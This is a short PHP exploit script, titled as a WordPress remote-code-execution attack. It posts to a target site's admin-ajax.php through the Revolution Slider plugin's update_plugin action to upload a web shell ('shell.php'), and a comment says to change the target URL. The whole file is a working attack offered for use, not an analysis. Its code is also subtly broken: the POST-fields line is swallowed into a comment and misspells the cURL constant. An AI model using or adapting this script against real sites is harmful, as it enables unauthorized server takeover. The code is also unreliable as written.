WordPress_RCE.php

<?php 

   $url = 'http://target_site/wp-admin/admin-ajax.php'; // Change this to the target URL

   $data = array(  'action' => 'revslider_ajax_action', 
                   'client_action' => 'update_plugin', 
                   'update_file' => "@shell.php" ); // The shell file we want to upload

   $ch = curl_init(); // Initialize a cURL session

   curl_setopt($ch, CURLOPT_URL,$url); // Set the target URL to send our request to
   curl_setopt($ch, CURLOPT_POST, 1); // Set the request type as POST (Default value)                                    curl_setopt($ch, CURLOPT__POSTFIELDS,$data); // Set our data array as the POST data

   $result=curl_exec ($ch); // Execute the cURL session and store its response in a variable

   echo $result; // Print out the response from our cURL session which should be a success message if everything went alright!